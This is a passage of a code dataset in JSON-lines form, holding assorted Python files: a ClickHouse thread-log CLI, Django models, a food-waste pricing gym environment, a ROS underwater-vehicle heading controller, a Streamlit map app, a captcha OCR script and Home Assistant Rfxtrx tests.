min_date=min_date,\n max_date=max_date,\n min_time=min_time,\n max_time=max_time,\n verbose=verbose,\n )\n )\n\n\ndef get_threads(\n ctx,\n query_id=None,\n min_date=None,\n max_date=None,\n min_time=None,\n max_time=None,\n verbose=False,\n):\n query_str = \"\"\"\n SELECT\n query_id,\n thread_name,\n thread_number,\n concat(toString(read_rows), ' rows / ', formatReadableSize(read_bytes)) \"read\",\n concat(toString(written_rows), ' rows / ', formatReadableSize(written_bytes)) \"written\",\n formatReadableSize(memory_usage) \"memory_usage\",\n formatReadableSize(peak_memory_usage) \"peak_memory_usage\",\n {% if not verbose %}\n master_thread_number\n {% else %}\n master_thread_number,\n ProfileEvents.Names,\n ProfileEvents.Values\n {% endif %}\n FROM system.query_thread_log\n WHERE query_id = '{{ query_id }}'\n {% if min_date %}\n AND event_date >= toDate('{{ min_date }}')\n {% endif %}\n {% if max_date %}\n AND event_date <= toDate('{{ max_date }}')\n {% endif %}\n {% if min_time %}\n AND event_date >= toDate('{{ min_time }}') AND event_time >= toDateTime('{{ min_time }}')\n {% endif %}\n {% if max_time %}\n AND event_date <= toDate('{{ max_time }}') AND event_time <= toDateTime('{{ max_time }}')\n {% endif %}\n {% if not min_date and not max_date and not min_time and not max_time %}\n AND event_date = today()\n {% endif %}\n {% if query_id %}\n {% endif %}\n \"\"\"\n return execute_query(\n ctx,\n query_str,\n query_id=query_id,\n min_date=min_date,\n max_date=max_date,\n min_time=min_time,\n max_time=max_time,\n verbose=verbose,\n format_=\"Vertical\",\n )\n\n\n@thread_log_group.command(\"get-metrics\")\n@argument(\"query_id\")\n@option(\"--date\")\n@option(\"--min-date\")\n@option(\"--max-date\")\n@option(\"--min-time\")\n@option(\"--max-time\")\n@pass_context\ndef get_thread_metrics_command(\n ctx, query_id, date, min_date, max_date, min_time, max_time\n):\n min_date = min_date or date\n max_date = max_date or date\n query_str = \"\"\"\n SELECT\n thread_name,\n thread_number,\n ProfileEvents.Names \"name\",\n ProfileEvents.Values \"value\"\n FROM system.query_thread_log\n ARRAY JOIN ProfileEvents\n WHERE query_id = '{{ query_id }}'\n {% if min_date %}\n AND event_date >= toDate('{{ min_date }}')\n {% endif %}\n {% if max_date %}\n AND event_date <= toDate('{{ max_date }}')\n {% endif %}\n {% if min_time %}\n AND event_date >= toDate('{{ min_time }}') AND event_time >= toDateTime('{{ min_time }}')\n {% endif %}\n {% if max_time %}\n AND event_date <= toDate('{{ max_time }}') AND event_time <= toDateTime('{{ max_time }}')\n {% endif %}\n {% if not min_date and not max_date and not min_time and not max_time %}\n AND event_date = today()\n {% endif %}\n ORDER BY thread_name, thread_number, name\n \"\"\"\n print(\n execute_query(\n ctx,\n query_str,\n query_id=query_id,\n min_date=min_date,\n max_date=max_date,\n min_time=min_time,\n max_time=max_time,\n )\n )\n","repo_name":"yandex/ch-tools","sub_path":"ch_tools/chadmin/cli/thread_log_group.py","file_name":"thread_log_group.py","file_ext":"py","file_size_in_byte":4284,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"69"} +{"seq_id":"4345451929","text":"from django.contrib.auth.models import User\nfrom django.db import models\n\nclass UserProfile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n \n\nclass Service(models.Model):\n name=models.CharField(max_length=100)\n description=models.TextField()\n BODY_LOCATIONS=(\n ('head', 'Head'),\n ('neck', 'Neck'),\n ('arm', 'Arm'),\n ('chest', 'Chest'),\n )\n\n body_location = models.CharField(max_length=10, choices=BODY_LOCATIONS, blank=True, null=True)\n added_date=models.DateTimeField(auto_now=True)\n\nclass UserProfileService(models.Model):\n user_profile = models.ForeignKey(UserProfile, on_delete=models.CASCADE)\n service = models.ForeignKey(Service, on_delete=models.CASCADE)\n","repo_name":"AIdevol/Apis_creation","sub_path":"Existingclient/Existingapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"69976521821","text":"import gym\nimport copy\nimport numpy as np\nimport pandas as pd\nfrom gym import spaces\n\n\nSTART_STATE = [[10, 10, 50],\n [120, 1, 20],\n [15, 17, 40],\n [15, 17, 10],\n [15, 17, 10],]\n\nC = [3, 20, 4, 4, 4] #Min selling. This decides how popular an item is.\nK = [0.80, 0.10, 0.60, 0.60, 0.60] #This constant decides how robust each item is to price.\nP = [50, 20, 40, 10, 10] #Base price of items\n\nC, K, P = np.array(C), np.array(K), np.array(P)\nK *= C\nSTART_STATE = np.array(START_STATE)\n\nclass WasteEnv(gym.Env):\n\n \"\"\"Environment to handle waste and dynamic pricing\"\"\"\n\n def __init__(self, N, lambda1=0.5, lambda2=0.5):\n super(WasteEnv, self).__init__()\n # self.action_space = spaces.Discrete(N_DISCRETE_ACTIONS)\n self.N = N\n self.action_space = spaces.Box(low=-100, high=100, shape=\n (1, N), dtype=np.uint8)\n self.observation_space = spaces.Box(low=0, high=100, shape=\n (N, 2), dtype=np.uint8)\n self.state = \"something\"\n self.lambda1, self.lambda2 = lambda1, lambda2\n\n def step(self, action):\n # Execute one time step within the environment\n return self.take_action(action)\n\n def take_action(self, action):\n\n demand = [K[i]*a for i, a in enumerate(action)]\n sold = C - demand + np.random.randn(self.N)/10\n print(f\"K: {K}\")\n print(f\"K: {type(K)}\")\n print(f\"DEMAND: {demand}\")\n print(f\"SOLD: {sold}\")\n\n profit = 0\n total_profit = 0\n total_items_left = 0\n wasted = 0\n total_wasted = 0\n for i, sold_i in enumerate(sold):\n sold_i = max(sold_i, 0)\n if self.state[i][1] > 0: #Sell only if item is not expired\n self.state[i][0] = max(self.state[i][0]-sold_i, 0)\n print(f\"==== ITEM: [{i}]\")\n print(f\"Price change: {action[i]}\")\n print(f\"Original: {START_STATE[i]}\")\n print(f\"Sold: {sold_i}\")\n profit = sold_i*action[i]*P[i] / (START_STATE[i][0]*P[i])\n total_profit += profit\n print(f\"Profit on this item: {profit}\")\n self.state[i][1] = max(self.state[i][1]-1, 0) #Reduce item's life\n if self.state[i][1] == 0: #If no life, rest of the remaining items are wasted\n wasted += self.state[i][0]\n wasted /= START_STATE[i][0] #Normalize\n print(f\"This item wasted: {wasted}\")\n total_wasted += wasted\n self.state[i][0] = 0 #No more items left, all wasted.\n total_items_left += self.state[i][0]\n # Update price of items\n self.state[i][2] += self.state[i][2]*action[i]\n\n print(f\" ===================== \")\n print(f\"Profit: {total_profit}\")\n print(f\"Wasted: {total_wasted}\")\n reward = self.lambda1*total_profit - self.lambda2*total_wasted\n if total_items_left:\n self.done = False\n else:\n self.done = True\n print(f\"FINAL REWARD: {reward}\")\n\n return self.state, reward, self.done, \"something\"\n\n\n\n def reset(self):\n self.state = copy.deepcopy(START_STATE)\n return self.state\n\n def render(self):\n print(\"Kek\")\n\nif __name__ == \"__main__\":\n env = WasteEnv(5)\n s = env.reset()\n print(s)\n action = np.array([-20, 20, 0, -10, 10])/100\n\n s, r, done, _ = env.step(action)\n print(f\"State: {s}\")\n","repo_name":"vaibkumr/FoodWastePrevention-RL","sub_path":"waste_env_global.py","file_name":"waste_env_global.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"74332436700","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\n\r\nplt.style.use('seaborn-pastel')\r\n\r\n#length scale is cm and time scale is seconds\r\nD = 0.282 #cm^2/s\r\nux = 1.0 #cm/s\r\n\r\nxmin = -5 #cm\r\nxmax = 5 #cm\r\nxgrain = 100\r\n\r\nfig = plt.figure()\r\nax = plt.axes(xlim=(xmin,xmax),ylim=(0,1))\r\nline, = ax.plot([],[], lw=3)\r\n\r\ndef init():\r\n line.set_data([],[])\r\n return line, \r\n\r\ndef animate(i):\r\n x = np.linspace(xmin,xmax,xgrain)\r\n dt = 0.1\r\n cx = 1/np.sqrt(4*np.pi*D*(1+dt*i))*np.exp(-(x-ux*(1+dt*i))**2/(4*D*(1+dt*i)))\r\n line.set_data(x,cx)\r\n return line,\r\n\r\nanim = FuncAnimation(fig, animate,init_func=init,frames=1000,interval=20,blit=True)\r\n\r\nplt.show()","repo_name":"MagneticMartian/1d-Diffusion","sub_path":"GaussianConcentration/GaussianConcentration/GaussianConcentration.py","file_name":"GaussianConcentration.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34733244058","text":"def middle(s):\n if len(s)%2 != 0:\n return s[len(s)//2]\n if len(s)%2 == 0:\n return s[len(s)//2-1:len(s)//2+1]\n\nprint(middle('power'))\nprint(middle('glow'))\n\n\nlst = []\nnum = int(input('Type a number: '))\nwhile num!= 0:\n lst.append(num)\n num = int(input('Type a number: '))\nlst.append(num)\nlst.sort()\nprint(lst)\n\ndef save_list(filename,data):\n with open(filename,'w') as f:\n for list in data:\n line = ''\n for i in list:\n line+= str(i)+','\n print(line[:-1], file=f)\n\nsave_list('temp,csv',[[2,3],[5,7,11],[13]])\n\n\ndef word_wrap(s):\n words = s.split()\n lines = ['']\n i = 0\n for word in words:\n if len(lines[i])+len(word) <80:\n lines[i]=lines[i]+' '+word\n else:\n i +=1\n lines.append(word)\n for line in lines:\n print(line.strip())\n\nword_wrap('Write a function called word_wrap that takes a paragraph of text as a string and prints it to the screen such that each line is as close to 80 characters long as possible')\n\n\ndef most_common_names(names_list):\n max_count = 0\n max_name = ''\n for name in names_list:\n if max_count < names_list.count(name):\n max_count = names_list\n max_name = name\n return max_name\n\n\n\n","repo_name":"someOne404/Python","sub_path":"pre-exam3/12.7_practice_exam.py","file_name":"12.7_practice_exam.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14660684643","text":"#!/usr/bin/env python3\n\nimport rospy\nimport numpy as np\nfrom std_msgs.msg import String\nfrom std_msgs.msg import UInt16\nfrom std_msgs.msg import Bool\nfrom sensor_msgs.msg import Imu\nfrom rov_viewer.msg import Attitude\nfrom rov_viewer.msg import SetHeading\n\nPI = np.pi\n\nclass Heading_Controller():\n \"\"\" Class Heading_Controller: follow a yaw input in rad with a PD controller\n\n ROS topics subscribed:\n -----------------------\n '/BlueRov2/imu/atitude': to get yaw in [-pi,pi]rad from PX4 internal IMU\n '/Settings/set_heading': to get pwm_max, KP, KD for saturation and PD coefficients\n '/Settings/set_target': to get the yaw to follow\n \n ROS topics published:\n ---------------------\n '/Command/heading': publish pwm to send for thrusters, sent to ROV by commander.py \n\n Attributes:\n -----------\n pwm_max: int in [1500,1900], 1500 = neutral, 1900 = maximal pwm for BlueRov2 thrusters \\\n (T200 : https://bluerobotics.com/store/thrusters/t100-t200-thrusters/t200-thruster/) \n pwm_neutral: int 1500, for BlueRov2 thrusters\n KP: int, proportional coefficient\n KD: int, derivative coefficient\n rate: rosrate \n heading_desired: float in [-pi,pi], read from '/Settings/set_target'\n attitude: list, len=6, [ROLL, PITCH, YAW, ROLLSPEED, PITCHSPEED, YAWSPEED] read from \\\n '/BlueRov2/imu/attitude'\n \"\"\"\n\n def __init__(self, heading_desired=0, KP=35, KD=25, pwm_max=1500, pwm_neutral=1500,rosrate=4):\n self.pub_pwm = rospy.Publisher('/BlueRov2/Command/heading', UInt16, queue_size=10)\n\n rospy.Subscriber('/BlueRov2/imu/attitude', Attitude, self._callback_att)\n rospy.Subscriber('/BlueRov2/Setting/set_heading', SetHeading, self._callback_set_heading)\n\n\n self.rate = rospy.Rate(rosrate)\n self.attitude = [0, 0, 0, 0, 0, 0] #[ROLL, PITCH, YAW, ROLLSPEED, PITCHSPEED, YAWSPEED]\n self.pwm_max = pwm_max\n self.pwm_neutral = pwm_neutral\n self.heading_desired = heading_desired\n self.KP = KP\n self.KD = KD\n \n def sawtooth (self, x):\n \"\"\"Deal with 2*PI modulo\n \n Input:\n ------\n x: rad \n \"\"\"\n return (x+PI)%(2*PI)-PI \n\n def _callback_att(self, msg):\n \"\"\"Read data from '/BlueRov2/imu/attitude'\n\n ROS message :\n -------------\n Header header\n uint32 time_boot_ms\n float64 roll\n float64 pitch\n float64 yaw\n float64 rollspeed\n float64 pitchspeed\n float64 yawspeed\n \"\"\"\n self.attitude = [msg.roll,\n msg.pitch,\n msg.yaw,\n msg.rollspeed,\n msg.pitchspeed,\n msg.yawspeed]\n \n def _callback_set_heading(self, msg):\n \"\"\"Read data from '/Settings/set_heading'\n\n ROS message:\n -------------\n bool enable_heading_ctrl\n uint16 pwm_max\n uint32 KP\n uint32 KD\n \"\"\"\n if msg.pwm_max < 1500:\n self.pwm_max = 1500\n else:\n self.pwm_max = msg.pwm_max\n self.KP = msg.KP \n self.KD = msg.KD \n self.heading_desired = self.deg2rad(msg.heading_desired)\n\n # def _callback_set_target(self, msg):\n # \"\"\"Read data from '/Settings/set_target'\n\n # ROS message:\n # -------------\n # float64 depth_desired\n # float64 heading_desired\n # float64 velocity_desired\n # \"\"\"\n # self.heading_desired = self.deg2rad(msg.heading_desired)\n\n def deg2rad(self,deg):\n \"\"\"Convert [0-360]deg to [-pi,pi]rad => [180,360]deg ~ [-pi,0]rad , [0,180]deg ~ [0,pi]rad\n \n Input:\n ------\n deg: int\n \"\"\"\n if deg in range(0,181):\n return (deg * PI) / 180 \n if deg in range(181,361):\n return ((deg - 360) * PI) / 180\n\n def control(self, yaw, yawspeed):\n \"\"\" PD controller, \n \n Input:\n ------\n yaw\n yawspeed\n\n Return:\n -------\n command calculated to follow the heading desired\n \"\"\" \n\n return self.KP*self.sawtooth(yaw-self.heading_desired) + self.KD*yawspeed\n \n def saturation(self, pwm):\n \"\"\"Saturate command\n \n Input:\n ------\n pwm: pwm from self.control \n \n Return:\n -------\n pwm: int, published on '/Command/heading'\n \"\"\"\n pwm_min = self.pwm_neutral - (self.pwm_max - self.pwm_neutral)\n if pwm > self.pwm_max :\n pwm = self.pwm_max\n if pwm < pwm_min:\n pwm = pwm_min\n return int(pwm)\n\n def main(self):\n yaw = self.attitude[2]\n yawspeed = self.attitude[5]\n u = self.control(yaw, yawspeed)\n print(\"u\",u)\n pwm = self.pwm_neutral - u\n pwm = self.saturation(pwm)\n print(\"HEADING_DESIRED : {}, YAW_MESURED : {}, PWM : {}\".format(self.heading_desired, yaw, pwm))\n #pub_rc4.publish(pwm)\n self.pub_pwm.publish(pwm)\n\n\nif __name__ == \"__main__\":\n rospy.init_node('heading_controller', anonymous=True)\n heading_controller = Heading_Controller()\n while not rospy.is_shutdown():\n heading_controller.main()\n heading_controller.rate.sleep()\n","repo_name":"td092/rov_viewer","sub_path":"src/control/heading_controller.py","file_name":"heading_controller.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"34639667027","text":"import folium\nfrom streamlit_folium import st_folium\nimport streamlit as st\nfrom geopy.geocoders import Nominatim\n\n\n# Add custom base maps to folium\nBASEMAPS = {\n \"ROADMAP\": folium.TileLayer(\n tiles=\"https://mt1.google.com/vt/lyrs=m&x={x}&y={y}&z={z}\",\n attr=\"Google\",\n name=\"Google Maps\",\n overlay=True,\n control=True,\n ),\n \"SATELLITE\": folium.TileLayer(\n tiles=\"https://mt1.google.com/vt/lyrs=s&x={x}&y={y}&z={z}\",\n attr=\"Google\",\n name=\"Google Satellite\",\n overlay=True,\n control=True,\n ),\n \"TERRAIN\": folium.TileLayer(\n tiles=\"https://mt1.google.com/vt/lyrs=p&x={x}&y={y}&z={z}\",\n attr=\"Google\",\n name=\"Google Terrain\",\n overlay=True,\n control=True,\n ),\n \"HYBRID\": folium.TileLayer(\n tiles=\"https://mt1.google.com/vt/lyrs=y&x={x}&y={y}&z={z}\",\n attr=\"Google\",\n name=\"Google Satellite\",\n overlay=True,\n control=True,\n ),\n \"ESRI\": folium.TileLayer(\n tiles=\"https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Satellite\",\n overlay=True,\n control=True,\n ),\n \"Esri Ocean\": folium.TileLayer(\n tiles=\"https://services.arcgisonline.com/ArcGIS/rest/services/Ocean/World_Ocean_Base/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Ocean\",\n overlay=True,\n control=True,\n ),\n \"Esri Satellite\": folium.TileLayer(\n tiles=\"https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Satellite\",\n overlay=True,\n control=True,\n ),\n \"Esri Standard\": folium.TileLayer(\n tiles=\"https://server.arcgisonline.com/ArcGIS/rest/services/World_Street_Map/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Standard\",\n overlay=True,\n control=True,\n ),\n \"Esri Terrain\": folium.TileLayer(\n tiles=\"https://server.arcgisonline.com/ArcGIS/rest/services/World_Terrain_Base/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Terrain\",\n overlay=True,\n control=True,\n ),\n \"Esri Transportation\": folium.TileLayer(\n tiles=\"https://server.arcgisonline.com/ArcGIS/rest/services/Reference/World_Transportation/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Transportation\",\n overlay=True,\n control=True,\n ),\n \"Esri Topo World\": folium.TileLayer(\n tiles=\"https://services.arcgisonline.com/ArcGIS/rest/services/World_Topo_Map/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Topo World\",\n overlay=True,\n control=True,\n ),\n \"Esri National Geographic\": folium.TileLayer(\n tiles=\"http://services.arcgisonline.com/ArcGIS/rest/services/NatGeo_World_Map/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri National Geographic\",\n overlay=True,\n control=True,\n ),\n \"Esri Shaded Relief\": folium.TileLayer(\n tiles=\"https://services.arcgisonline.com/arcgis/rest/services/World_Shaded_Relief/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Shaded Relief\",\n overlay=True,\n control=True,\n ),\n \"Esri Physical Map\": folium.TileLayer(\n tiles=\"https://services.arcgisonline.com/arcgis/rest/services/World_Physical_Map/MapServer/tile/{z}/{y}/{x}\",\n attr=\"Esri\",\n name=\"Esri Physical Map\",\n overlay=True,\n control=True,\n ),\n \"Bing VirtualEarth\": folium.TileLayer(\n tiles=\"http://ecn.t3.tiles.virtualearth.net/tiles/a{q}.jpeg?g=1\",\n attr=\"Microsoft\",\n name=\"Bing VirtualEarth\",\n overlay=True,\n control=True,\n ),\n \"3DEP Elevation\": folium.WmsTileLayer(\n url=\"https://elevation.nationalmap.gov/arcgis/services/3DEPElevation/ImageServer/WMSServer?\",\n layers=\"3DEPElevation:None\",\n attr=\"USGS\",\n name=\"3DEP Elevation\",\n overlay=True,\n control=True,\n ),\n \"NAIP Imagery\": folium.WmsTileLayer(\n url=\"https://services.nationalmap.gov/arcgis/services/USGSNAIPImagery/ImageServer/WMSServer?\",\n layers=\"0\",\n attr=\"USGS\",\n name=\"NAIP Imagery\",\n overlay=True,\n control=True,\n ),\n}\n\n\ndef get_pos(lat, lng):\n return lat, lng\n\n\ndef search_bar():\n x, y = [41.00, 29.00]\n if \"x\" not in st.session_state:\n st.session_state[\"x\"] = x\n if \"y\" not in st.session_state:\n st.session_state[\"y\"] = y\n\n map_form = st.form(\"Map\")\n\n # Default location\n # Search for another location\n location_input = map_form.text_input(\"Search in the map\")\n submit_location = map_form.form_submit_button(\"Search\")\n if submit_location:\n location = Nominatim(user_agent=\"GetLoc\")\n getLocation = location.geocode(location_input)\n\n if getLocation is not None:\n x, y = getLocation.latitude, getLocation.longitude\n st.session_state[\"x\"] = x\n st.session_state[\"y\"] = y\n else:\n map_form.error(\"Location not found!\")\n\n\ndef show_map():\n search_bar()\n m = folium.Map(\n location=[st.session_state[\"x\"], st.session_state[\"y\"]],\n zoom_start=13,\n )\n\n BASEMAPS[\"Esri Satellite\"].add_to(m)\n folium.plugins.Draw(\n export=False,\n filename=\"my_data.geojson\",\n position=\"topleft\",\n draw_options={\n \"rectangle\": {\n \"allowIntersection\": False,\n \"showRadius\": True,\n \"repeatMode\": False,\n },\n \"polyline\": False,\n \"polygon\": False,\n \"circle\": False,\n \"marker\": False,\n \"circlemarker\": False,\n },\n edit_options={\"poly\": {\"allowIntersection\": False}},\n ).add_to(m)\n\n m.add_child(folium.LatLngPopup())\n\n map = st_folium(m, key=\"map\", height=350, width=700)\n if map[\"last_clicked\"] is not None:\n data = get_pos(map[\"last_clicked\"][\"lat\"], map[\"last_clicked\"][\"lng\"])\n st.write(map)\n\n if data is not None:\n st.write(data)\n","repo_name":"rifqoi/oil-palm-streamlit","sub_path":"oil_palm_streamlit/maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19332359215","text":"# import cv2 as cv\n# import os\n#\n# '''\n# step:\n# 1.图片处理 - 对图片进行降噪、二值化处理\n# 2.切割图片 - 将图片切割成单个字符并保存\n# 3.人工标注 - 对切割的字符图片进行人工标注,作为训练集\n# 4.训练数据 - 用KNN算法训练数据\n# 5.检测结果 - 用上一步的训练结果识别新的验证码\n# '''\n#\n# PROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))\n# img_path = os.path.join(PROJECT_ROOT,'code.jpeg')\n# img = cv.imread(img_path)\n# gray_img = cv.cvtColor(img,cv.COLOR_BGR2GRAY) # 先转换为灰度图才能够使用图像阈值化\n# #cv.adaptiveThreshold() 大于127=>0 小于127=>255\n# ret, img_invert = cv.threshold(gray_img,127,255,cv.THRESH_BINARY_INV)\n\n\n\nimport cv2 as cv\nfrom PIL import Image\nimport pytesseract #要配置tesseract-ocr 引擎的\n\ndef recognize_text():\n gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\n ret, binary = cv.threshold(gray, 0, 255, cv.THRESH_BINARY_INV | cv.THRESH_OTSU)\n kernel = cv.getStructuringElement(cv.MORPH_RECT, (1, 6))#去除线\n binl = cv.morphologyEx(binary, cv.MORPH_OPEN, kernel)\n kernel = cv.getStructuringElement(cv.MORPH_RECT, (5, 1))\n open_out = cv.morphologyEx(binl, cv.MORPH_OPEN, kernel)\n cv.bitwise_not(open_out, open_out)# 黑色背景变为白色背景\n cv.imshow('open_out', open_out)\n\n textImage = Image.fromarray(open_out)#从np.array 转换成<class 'PIL.Image.Image'>,pytesseract需要接受此类型\n text = pytesseract.image_to_string(textImage)\n print(\"This OK:%s\"%text)\n\nif __name__ == '__main__':\n src = cv.imread(\"code.jpeg\")\n cv.imshow(\"src\", src)\n recognize_text()\n cv.waitKey(0)\n cv.destroyAllWindows()\n\n","repo_name":"936804292/Simple_OCR","sub_path":"Verify_code.py","file_name":"Verify_code.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6114963588","text":"# -*- coding: utf-8 -*-\r\n\r\n# documentación del módulo datetime en \r\n# https://docs.python.org/es/3/library/datetime.html#strftime-and-strptime-format-codes\r\nfrom datetime import date, datetime\r\n\r\ndef calcular_edad(fecha_nacimiento):\r\n \"\"\" calcula la edad en años de una persona que ha nacido \r\n en la fecha indicada en el parametro de tipo date fecha_nacimiento \"\"\"\r\n # obtenemos la fecha actual\r\n hoy = date.today()\r\n # restamos los años\r\n resultado = (hoy.year - fecha_nacimiento.year)\r\n # ajustamos por mes y día\r\n # pista: True==1, False==0\r\n resultado -= ((hoy.month, hoy.day) < (fecha_nacimiento.month, fecha_nacimiento.day))\r\n return resultado\r\n \r\ncadena = \"3/5/1990\"\r\n# a strptime le pasamos un sring con una fecha y un string con el formato de esa fecha\r\nfecha = datetime.strptime(cadena, \"%d/%m/%Y\")\r\n\r\n","repo_name":"borjasoutoprego/FP2","sub_path":"p4/calcular_edad.py","file_name":"calcular_edad.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23747999669","text":"\"\"\"The tests for the Rfxtrx roller shutter platform.\"\"\"\nimport unittest\n\nfrom homeassistant.bootstrap import _setup_component\nfrom homeassistant.components import rfxtrx as rfxtrx_core\n\nfrom tests.common import get_test_home_assistant\n\n\nclass TestRollershutterRfxtrx(unittest.TestCase):\n \"\"\"Test the Rfxtrx roller shutter platform.\"\"\"\n\n def setUp(self):\n \"\"\"Setup things to be run when tests are started.\"\"\"\n self.hass = get_test_home_assistant(0)\n self.hass.config.components = ['rfxtrx']\n\n def tearDown(self):\n \"\"\"Stop everything that was started.\"\"\"\n rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS = []\n rfxtrx_core.RFX_DEVICES = {}\n if rfxtrx_core.RFXOBJECT:\n rfxtrx_core.RFXOBJECT.close_connection()\n self.hass.stop()\n\n def test_valid_config(self):\n \"\"\"Test configuration.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'devices':\n {'0b1100cd0213c7f210010f51': {\n 'name': 'Test',\n rfxtrx_core.ATTR_FIREEVENT: True}\n }}}))\n\n def test_invalid_config1(self):\n \"\"\"Test configuration.\"\"\"\n self.assertFalse(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'devices':\n {'2FF7f216': {\n 'name': 'Test',\n 'packetid': '0b1100cd0213c7f210010f51',\n 'signal_repetitions': 3}\n }}}))\n\n def test_invalid_config2(self):\n \"\"\"Test configuration.\"\"\"\n self.assertFalse(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'invalid_key': 'afda',\n 'devices':\n {'213c7f216': {\n 'name': 'Test',\n 'packetid': '0b1100cd0213c7f210010f51',\n rfxtrx_core.ATTR_FIREEVENT: True}\n }}}))\n\n def test_invalid_config3(self):\n \"\"\"Test configuration.\"\"\"\n self.assertFalse(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'devices':\n {'213c7f216': {\n 'name': 'Test',\n 'packetid': 'AA1100cd0213c7f210010f51',\n rfxtrx_core.ATTR_FIREEVENT: True}\n }}}))\n\n def test_invalid_config4(self):\n \"\"\"Test configuration.\"\"\"\n self.assertFalse(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'devices':\n {'213c7f216': {\n 'name': 'Test',\n rfxtrx_core.ATTR_FIREEVENT: True}\n }}}))\n\n def test_default_config(self):\n \"\"\"Test with 0 roller shutter.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'devices': {}}}))\n self.assertEqual(0, len(rfxtrx_core.RFX_DEVICES))\n\n def test_one_rollershutter(self):\n \"\"\"Test with 1 roller shutter.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'devices':\n {'0b1400cd0213c7f210010f51': {\n 'name': 'Test'\n }}}}))\n\n import RFXtrx as rfxtrxmod\n rfxtrx_core.RFXOBJECT =\\\n rfxtrxmod.Core(\"\", transport_protocol=rfxtrxmod.DummyTransport)\n\n self.assertEqual(1, len(rfxtrx_core.RFX_DEVICES))\n for id in rfxtrx_core.RFX_DEVICES:\n entity = rfxtrx_core.RFX_DEVICES[id]\n self.assertEqual(entity.signal_repetitions, 1)\n self.assertFalse(entity.should_fire_event)\n self.assertFalse(entity.should_poll)\n entity.move_up()\n entity.move_down()\n entity.stop()\n\n def test_several_rollershutters(self):\n \"\"\"Test with 3 roller shutters.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'signal_repetitions': 3,\n 'devices':\n {'0b1100cd0213c7f230010f71': {\n 'name': 'Test'},\n '0b1100100118cdea02010f70': {\n 'name': 'Bath'},\n '0b1100101118cdea02010f70': {\n 'name': 'Living'}\n }}}))\n\n self.assertEqual(3, len(rfxtrx_core.RFX_DEVICES))\n device_num = 0\n for id in rfxtrx_core.RFX_DEVICES:\n entity = rfxtrx_core.RFX_DEVICES[id]\n self.assertEqual(entity.signal_repetitions, 3)\n if entity.name == 'Living':\n device_num = device_num + 1\n elif entity.name == 'Bath':\n device_num = device_num + 1\n elif entity.name == 'Test':\n device_num = device_num + 1\n\n self.assertEqual(3, device_num)\n\n def test_discover_rollershutter(self):\n \"\"\"Test with discovery of roller shutters.\"\"\"\n self.assertTrue(_setup_component(self.hass, 'rollershutter', {\n 'rollershutter': {'platform': 'rfxtrx',\n 'automatic_add': True,\n 'devices': {}}}))\n\n event = rfxtrx_core.get_rfx_object('0a140002f38cae010f0070')\n event.data = bytearray([0x0A, 0x14, 0x00, 0x02, 0xF3, 0x8C,\n 0xAE, 0x01, 0x0F, 0x00, 0x70])\n\n for evt_sub in rfxtrx_core.RECEIVED_EVT_SUBSCRIBERS:\n evt_sub(event)\n self.assertEqual(1, len(rfxtrx_core.RFX_DEVICES))\n\n event = rfxtrx_core.get_rfx_object('0a1400adf394ab020e0060')\n event.data = bytearray([0x0A, 0x14, 0x00, 0xAD, 0xF3, 0x94,\n 0xAB, 0x02, 0x0E, 0x00, 0x60])\n\n for evt_sub in 